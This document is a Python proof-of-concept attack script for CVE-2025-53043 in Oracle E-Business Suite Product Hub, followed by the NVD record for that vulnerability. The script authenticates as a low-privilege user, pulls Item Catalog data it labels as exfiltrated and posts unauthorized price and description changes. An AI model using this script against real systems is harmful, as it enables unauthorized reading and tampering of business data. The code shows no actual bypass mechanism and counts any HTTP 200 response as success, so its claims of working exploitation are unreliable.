CVE-2025-53043

# CVE-2025-53043 Oracle E-Business Suite Product Hub PoC # Vulnerability: Unauthorized access to Item Catalog data via HTTP # Affected: Oracle E-Business Suite 12.2.3 - 12.2.14 import requests import json from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class OracleEBSExploit: """ PoC for CVE-2025-53043 Demonstrates unauthorized data access in Oracle Product Hub Item Catalog """ def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.session.verify = False self.username = username self.password = password self.base_headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/x-www-form-urlencoded', } def authenticate(self): """Authenticate to Oracle E-Business Suite with low-privilege credentials""" login_url = f"{self.target_url}/OA_HTML/AppsLogin" # Step 1: Get initial login page and extract tokens resp = self.session.get(login_url, headers=self.base_headers) # Step 2: Submit login credentials login_data = { 'username': self.username, 'password': self.password, 'submit': 'Login', } resp = self.session.post( login_url, data=login_data, headers=self.base_headers, allow_redirects=True ) if 'AppsLocalLogin' in resp.url or resp.status_code == 200: print(f"[+] Authentication successful as {self.username}") return True return False def exploit_item_catalog(self, item_number): """ Exploit Item Catalog to retrieve/modify product data bypassing authorization checks (CVE-2025-53043) """ # Target endpoint: Item Catalog management page item_catalog_url = ( f"{self.target_url}/OA_HTML/OA.jsp" f"?page=/oracle/apps/ego/item/webui/EGO_ITEM_PAGES_HOME" f"&item_number={item_number}" ) resp = self.session.get(item_catalog_url, headers=self.base_headers) if resp.status_code == 200: print(f"[+] Successfully accessed Item Catalog data for: {item_number}") # Extract sensitive product catalog data return self._parse_item_data(resp.text) return None def modify_item_data(self, item_number, new_data): """Unauthorized modification of Item Catalog data""" modify_url = ( f"{self.target_url}/OA_HTML/OA.jsp" f"?page=/oracle/apps/ego/item/webui/EGO_ITEM_UPDATE_PAGE" ) modify_payload = { 'item_number': item_number, 'description': new_data.get('description', ''), 'list_price': new_data.get('list_price', ''), 'category': new_data.get('category', ''), 'submit': 'Apply', } resp = self.session.post( modify_url, data=modify_payload, headers=self.base_headers ) if resp.status_code == 200: print(f"[+] Successfully modified Item Catalog entry: {item_number}") return True return False def _parse_item_data(self, html_content): """Parse sensitive data from Item Catalog response""" # Simplified parsing logic return { 'raw_html': html_content[:500], 'status': 'extracted' } def main(): """Main exploit routine for CVE-2025-53043""" # Configuration TARGET = "https://target-ebs.example.com" USERNAME = "low_priv_user" # Low-privileged account PASSWORD = "password123" print("=" * 60) print("CVE-2025-53043 - Oracle E-Business Suite PoC") print("Oracle Product Hub Item Catalog Unauthorized Access") print("=" * 60) exploit = OracleEBSExploit(TARGET, USERNAME, PASSWORD) # Step 1: Authenticate with low-privilege credentials if not exploit.authenticate(): print("[-] Authentication failed") return # Step 2: Exploit Item Catalog unauthorized access item_data = exploit.exploit_item_catalog("ITEM-001") if item_data: print(f"[+] Exfiltrated data: {json.dumps(item_data, indent=2)}") # Step 3: Demonstrate unauthorized modification exploit.modify_item_data("ITEM-001", { 'description': 'Modified by attacker', 'list_price': '0.01' }) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-53043", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:41.527", "lastModified": "2025-10-23T16:07:39.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog). Supported versions that are affected are 12.2.3-12.2.14. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Product Hub accessible data as well as unauthorized access to critical data or complete access to all Oracle Product Hub accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:product_hub:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.2.3", "versionEndIncluding": "12.2.14", "matchCriteriaId": "4D5EBAA8-76EC-4EC4-A18C-2FE76AF6D22A"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}